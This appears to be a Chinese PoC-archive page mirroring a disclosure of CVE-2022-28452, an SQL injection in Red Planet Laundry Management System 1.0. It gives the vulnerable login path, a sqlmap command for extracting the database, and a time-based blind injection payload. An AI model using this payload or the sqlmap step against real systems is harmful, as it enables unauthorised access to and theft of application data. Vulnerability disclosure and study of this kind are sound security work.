POC详情： a46d08ad4aa1f4ae6288445ac65e07576439e3a0

来源
https://github.com/YavuzSahbaz/Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL
关联漏洞
标题： Red Planet Laundry Management System SQL注入漏洞 (CVE-2022-28452)
描述：Red Planet Laundry Management System是一个应用管理系统。 Red Planet Laundry Management System 1.0 版本存在安全漏洞，该漏洞源于易受SQL注入攻击。
描述
CVE-2022-28452
介绍
# Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL       

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28452
https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452
https://laundry.redplanetcomputers.com/

1-Description:

Red Planet Laundry Management System 1.0 is vulnerable to SQL Injection via parameter 'username' in /index.php/login/rediract . Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2-Proof of Concept:

In Burpsuite intercept the request from the affected page with 'username' parameter and save it like poc.txt Then run SQLmap to extract the data from the database:
sqlmap.py -r poc.txt --dbms=mysql

3-Example payload:

URL encoded POST input username was set to 0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z












Contact details:   yavuzsahbaz@gmail.com
文件快照

 [4.0K]  /data/pocs/a46d08ad4aa1f4ae6288445ac65e07576439e3a0
└── [ 921]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。